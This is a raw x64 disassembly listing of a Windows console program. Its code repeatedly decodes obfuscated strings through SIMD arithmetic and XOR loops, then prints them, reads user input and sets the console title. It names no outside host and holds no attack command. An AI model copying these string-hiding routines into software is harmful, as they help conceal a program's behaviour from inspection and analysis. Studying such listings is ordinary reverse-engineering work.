movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [str._PA_CZDS]
pxor xmm2, xmm1
movd dword [rbp + 0xb90], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xb94]
pxor xmm2, xmm1
movd dword [rbp + 0xb94], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xb90]
add r9, rax
nop
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140049b20
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x1b08]
call fcn.140007470
nop
lea r9, [rbp + 0x1dc]
lea r8, [rbp + 0x164]
mov rdx, rax
lea rcx, [rbp + 0x1ae8]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1ae8]
call fcn.140003990
nop
lea rcx, [rbp + 0x1b08]
call fcn.140003990
lea rdx, [0x140466238]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
movzx eax, word [0x14020116c]
mov word [rsp + 0x50], ax
lea rdx, [rsp + 0x50]
cmp byte [0x14020116d], 0
je 0x140049be4
mov byte [rsp + 0x50], 0xa
xor byte [rsp + 0x51], 0x31
call fcn.140003780
mov eax, dword [0x140201180]
mov dword [rbp + 0xe78], eax
movzx eax, byte [0x140201184]
movups xmm0, xmmword [0x140201170]
mov byte [rbp + 0xe7c], al
movups xmmword [rbp + 0xe68], xmm0
mov r8d, r15d
cmp r12d, 2
jl 0x140049d67
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, edi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0xe6c]
mov edx, dword [rbp + 0xb80]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140049c60
cmp r8d, 0x15
jge 0x140049daf
movsxd rax, r8d
lea r9, [rbp + 0xe68]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x15
jl 0x140049d80
lea rdx, [rbp + 0xe68]
lea rcx, [rbp + 0x750]
call fcn.140007470
mov rcx, rax
call fcn.140017920
mov rbx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x14c], 0xff
mov dword [rbp + 0x154], 0xff
mov qword [rbp + 0x140], 0
mov dword [rbp + 0x148], 0xff
movsd xmm0, qword [0x140201188]
movsd qword [rbp + 0xb90], xmm0
movzx eax, word [0x140201190]
mov word [rbp + 0xb98], ax
movzx ecx, byte [0x140201192]
mov byte [rbp + 0xb90], Ordinal_79
xor byte [rbp + 0xb91], 0x31
xor byte [rbp + 0xb92], 0x32
xor byte [rbp + 0xb93], 0x33
xor byte [rbp + 0xb94], 0x34
xor byte [rbp + 0xb95], 0x35
xor byte [rbp + 0xb96], 0x36
xor byte [rbp + 0xb97], 0x37
xor al, 0x38
mov byte [rbp + 0xb98], al
xor byte [rbp + 0xb99], 0x39
xor cl, 0x3a
mov byte [rbp + 0xb9a], cl
lea rdx, [rbp + 0xb90]
lea rcx, [rbp + 0x1b48]
call fcn.140007470
nop
lea r9, [rbp + 0x14c]
lea r8, [rbp + 0x140]
mov rdx, rax
lea rcx, [rbp + 0x1b28]
call fcn.140003ca0
nop
mov rdx, rax
mov rcx, rbx
call fcn.140004d40
nop
lea rcx, [rbp + 0x1b28]
call fcn.140003990
nop
lea rcx, [rbp + 0x1b48]
call fcn.140003990
lea rdx, [0x140466258]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140004b40
movzx eax, word [0x140201194]
mov word [rbp - 0x5c], ax
cmp byte [0x140201195], 0
je 0x140049ef6
mov byte [rbp - 0x5c], 0xa
xor byte [rbp - 0x5b], 0x31
lea rdx, [rbp - 0x5c]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.140003780
lea rax, [rbp + 0x910]
mov qword [rbp + 0xb90], rax
lea rdx, [0x1401fc293]
lea rcx, [rbp + 0x910]
call fcn.140007470
mov rsi, rax
lea rax, [rbp + 0x930]
mov qword [rsp + 0x78], rax
lea rdx, [0x140466258]
lea rcx, [rbp + 0x930]
call fcn.1400073a0
mov rdi, rax
lea rax, [rbp + 0x950]
mov qword [rbp - 0x38], rax
lea rdx, [0x140466238]
lea rcx, [rbp + 0x950]
call fcn.1400073a0
mov rbx, rax
lea rdx, [0x140466218]
lea rcx, [rbp + 0x7f0]
call fcn.1400073a0
nop
mov qword [rsp + 0x20], rsi
mov r9, rdi
mov r8, rbx
mov rdx, rax
lea rcx, [0x14060b6d0]
call fcn.1400b1630
jmp 0x140048a5f
mov bl, 1
test r14b, 8
je 0x140049fb9
and r14d, 0xfffffff7
lea rcx, [rbp + 0x18a8]
call fcn.140003990
nop
test r14b, 4
je 0x140049fcf
and r14d, 0xfffffffb
lea rcx, [rbp + 0x18c8]
call fcn.140003990
test bl, bl
jne 0x14004a1e1
movups xmm0, xmmword [str.UZZ]
movups xmmword [rbp + 0x12f0], xmm0
movsd xmm1, qword [0x140201208]
movsd qword [rbp + 0x1300], xmm1
mov eax, dword [str.______N]
mov dword [rbp + 0x1308], eax
movzx eax, word [0x140201214]
mov word [rbp + 0x130c], ax
movzx eax, byte [0x140201216]
mov byte [rbp + 0x130e], al
mov r8d, r15d
cmp r12d, 2
jl 0x14004a177
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0x12f4]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x14004a070
cmp r8d, 0x1f
jge 0x14004a1bf
movsxd rax, r8d
lea r9, [rbp + 0x12f0]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1f
jl 0x14004a190
lea rdx, [rbp + 0x12f0]
lea rcx, [rbp + 0x9b0]
call fcn.140007470
mov rdx, rax
lea rcx, [0x14060b6d0]
call fcn.1400aebd0
movzx ebx, byte [rsp + 0x44]
nop word [rax + rax]
lea rcx, [rbp + 0x16f8]
cmp qword [rbp + 0x1710], 0x10
cmovae rcx, qword [rbp + 0x16f8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call fcn.1400377d0
movsd xmm0, qword [0x140201218]
movsd qword [rbp + 0xcc8], xmm0
mov eax, dword [0x140201220]
mov dword [rbp + 0xcd0], eax
movzx eax, word [0x140201224]
mov word [rbp + 0xcd4], ax
cmp byte [0x140201225], 0
je 0x14004a3af
mov r8d, r15d
cmp r12d, 2
jl 0x14004a36c
movdqa xmm4, xmmword [0x1402017c0]
mov eax, 1
movd xmm6, eax
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201218]
pxor xmm2, xmm1
movd dword [rbp + 0xcc8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xccc]
pxor xmm2, xmm1
movd dword [rbp + 0xccc], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xcc8]
add r9, rax
nop dword [rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14004a380
xorps xmm0, xmm0
movups xmmword [rbp + 0x430], xmm0
mov qword [rbp + 0x440], r15
mov qword [rbp + 0x448], r15
lea rax, [rbp + 0xcc8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004a3d5
lea rdx, [rbp + 0xcc8]
lea rcx, [rbp + 0x430]
call fcn.1400050f0
lea rcx, [rbp + 0x430]
call fcn.140017920
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x200], 0xff
mov dword [rbp + 0x208], 0xff
mov qword [rbp + 0x1f4], 0
mov dword [rbp + 0x1fc], 0xff
movsd xmm0, qword [0x140201228]
movsd qword [rbp + 0xc78], xmm0
mov eax, dword [0x140201230]
mov dword [rbp + 0xc80], eax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_60]
mov byte [rbp + 0xc84], al
mov r8d, r15d
mov esi, 1
cmp r12d, 2
jl 0x14004a57b
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201228]
pxor xmm2, xmm1
movd dword [rbp + 0xc78], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xc7c]
pxor xmm2, xmm1
movd dword [rbp + 0xc7c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xc78]
add r9, rax
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x14004a590
xorps xmm0, xmm0
movups xmmword [rbp + 0x1098], xmm0
mov qword [rbp + 0x10a8], r15
mov qword [rbp + 0x10b0], r15
lea rax, [rbp + 0xc78]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004a5e5
lea rdx, [rbp + 0xc78]
lea rcx, [rbp + 0x1098]
call fcn.1400050f0
nop
lea r9, [rbp + 0x200]
lea r8, [rbp + 0x1f4]
lea rdx, [rbp + 0x1098]
lea rcx, [rbp + 0x1610]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14004a633
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1628]
cmp rdx, 0x10
jb 0x14004a690
inc rdx
mov rcx, qword [rbp + 0x1610]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a68b
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d75
call fcn.1400b7470
mov qword [rbp + 0x1620], r15
mov qword [rbp + 0x1628], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1610], 0
mov rdx, qword [rbp + 0x10b0]
cmp rdx, 0x10
jb 0x14004a6ea
inc rdx
mov rcx, qword [rbp + 0x1098]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004a6e5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d8a
call fcn.1400b7470
mov qword [rbp + 0x10a8], r15
mov qword [rbp + 0x10b0], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1098], 0
movsd xmm0, qword [0x140201238]
movsd qword [rbp + 0xca8], xmm0
mov eax, dword [0x140201240]
mov dword [rbp + 0xcb0], eax
movzx eax, word [0x140201244]
mov word [rbp + 0xcb4], ax
cmp byte [0x140201245], 0
je 0x14004a89f
mov r8d, r15d
cmp r12d, 2
jl 0x14004a858
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201238]
pxor xmm2, xmm1
movd dword [rbp + 0xca8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcac]
pxor xmm2, xmm1
movd dword [rbp + 0xcac], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xca8]
add r9, rax
nop word [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x14004a870
xorps xmm0, xmm0
movups xmmword [rbp + 0x410], xmm0
mov qword [rbp + 0x420], r15
mov qword [rbp + 0x428], r15
lea rax, [rbp + 0xca8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004a8c5
lea rdx, [rbp + 0xca8]
lea rcx, [rbp + 0x410]
call fcn.1400050f0
lea rcx, [rbp + 0x410]
call fcn.140017920
mov rdi, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov qword [rbp + 0x110], 0xff
mov dword [rbp + 0x118], 0xff
mov qword [rbp + 0xc8], 0
mov dword [rbp + 0xd0], 0xff
movups xmm0, xmmword [0x140201248]
movups xmmword [rbp + 0xfd8], xmm0
movzx eax, word [0x140201258]
mov word [rbp + 0xfe8], ax
cmp byte [0x140201259], 0
je 0x14004aaef
mov r8d, r15d
cmp r12d, 2
jl 0x14004aaa7
movdqa xmm5, xmmword [0x140201780]
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movdqa xmm7, xmmword [0x1402017a0]
movd xmm8, r13d
movdqa xmm0, xmmword [0x1402017d0]
movdqa xmmword [rbp + 0xb80], xmm0
lea rcx, [rbp + 0xfdc]
mov edx, dword [rbp + 0xb80]
nop dword [rax]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
pxor xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x14004a9a0
cmp r8d, 0x12
jge 0x14004aaef
movsxd rax, r8d
lea r9, [rbp + 0xfd8]
add r9, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x94f2095
imul r8d
sar edx, 1
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x37
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x12
jl 0x14004aac0
xorps xmm0, xmm0
movups xmmword [rbp + 0x1128], xmm0
mov qword [rbp + 0x1138], r15
mov qword [rbp + 0x1140], r15
lea rax, [rbp + 0xfd8]
mov r8, 0xffffffffffffffff
inc r8
cmp byte [rax + r8], 0
jne 0x14004ab15
lea rdx, [rbp + 0xfd8]
lea rcx, [rbp + 0x1128]
call fcn.1400050f0
nop
lea r9, [rbp + 0x110]
lea r8, [rbp + 0xc8]
lea rdx, [rbp + 0x1128]
lea rcx, [rbp + 0x1630]
call fcn.140003ca0
nop
mov r8, qword [rax + 0x10]
cmp qword [rax + 0x18], 0x10
jb 0x14004ab63
mov rax, qword [rax]
mov rdx, rax
mov rcx, rdi
call fcn.140005f10
lea rdx, [0x140006b40]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
mov rdx, qword [rbp + 0x1648]
cmp rdx, 0x10
jb 0x14004abc0
inc rdx
mov rcx, qword [rbp + 0x1630]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004abbb
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d7c
call fcn.1400b7470
mov qword [rbp + 0x1640], r15
mov qword [rbp + 0x1648], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1630], 0
mov rdx, qword [rbp + 0x1140]
cmp rdx, 0x10
jb 0x14004ac1a
inc rdx
mov rcx, qword [rbp + 0x1128]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ac15
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140050d8a
call fcn.1400b7470
mov qword [rbp + 0x1138], r15
mov qword [rbp + 0x1140], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x1128], 0
movsd xmm0, qword [0x140201260]
movsd qword [rbp + 0xcb8], xmm0
mov eax, dword [0x140201268]
mov dword [rbp + 0xcc0], eax
movzx eax, word [0x14020126c]
mov word [rbp + 0xcc4], ax
cmp byte [0x14020126d], 0
je 0x14004adcf
mov r8d, r15d
cmp r12d, 2
jl 0x14004ad88
movdqa xmm4, xmmword [0x1402017c0]
movd xmm6, esi
movd xmm5, r13d
movdqa xmm2, xmmword [0x140201780]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
mov eax, dword [0x1402017d0]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [0x140201260]
pxor xmm2, xmm1
movd dword [rbp + 0xcb8], xmm2
movdqa xmm3, xmmword [0x140201790]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1402017a0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402017b0]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xcbc]
pxor xmm2, xmm1
movd dword [rbp + 0xcbc], xmm2
mov r8d, 8
movsxd rax, r8d
